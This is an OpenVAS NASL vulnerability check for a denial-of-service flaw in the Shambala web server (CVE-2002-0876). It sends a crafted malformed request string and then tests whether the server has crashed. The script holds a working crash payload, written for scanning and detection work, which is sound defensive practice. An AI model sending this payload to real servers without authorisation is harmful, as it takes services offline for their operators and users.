It was possible to kill the web server by
sending a malicious request.
# OpenVAS Vulnerability Test
# $Id: shambala_www_dos.nasl 6046 2017-04-28 09:02:54Z teissa $
# Description: Shambala web server DoS
#
# Authors:
# Michel Arboi <[email protected]>
# Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
# Erik Anderson <[email protected]>
# Added BugtraqID and CVE
#
# Copyright:
# Copyright (C) 2002 Michel Arboi
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
if(description)
{
script_id(10967);
script_version("$Revision: 6046 $");
script_tag(name:"last_modification", value:"$Date: 2017-04-28 11:02:54 +0200 (Fri, 28 Apr 2017) $");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_bugtraq_id(4897);
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_cve_id("CVE-2002-0876");
script_name("Shambala web server DoS");
script_category(ACT_DENIAL);
script_tag(name:"qod_type", value:"remote_vul");
script_copyright("This script is Copyright (C) 2002 Michel Arboi");
script_family("Denial of Service");
script_require_ports("Services/www", 80);
script_dependencies("find_service.nasl", "http_version.nasl", "no404.nasl");
script_tag(name : "solution" , value : "install a safer server or upgrade it");
script_tag(name : "summary" , value : "It was possible to kill the web server by
sending a malicious request." );
exit(0);
}
########
include("http_func.inc");
# " in strings are not great in NASL
req = string("!", raw_string(0x22),"#?%&/()=?");
port = get_http_port(default:80);
if(get_port_state(port))
{
if(http_is_dead(port:port))exit(0);
soc = http_open_socket(port);
if(soc)
{
data = http_get(item:req, port:port);
send(socket:soc, data:data);
r = http_recv(socket:soc);
http_close_socket(soc);
if(http_is_dead(port:port))security_message(port);
}
}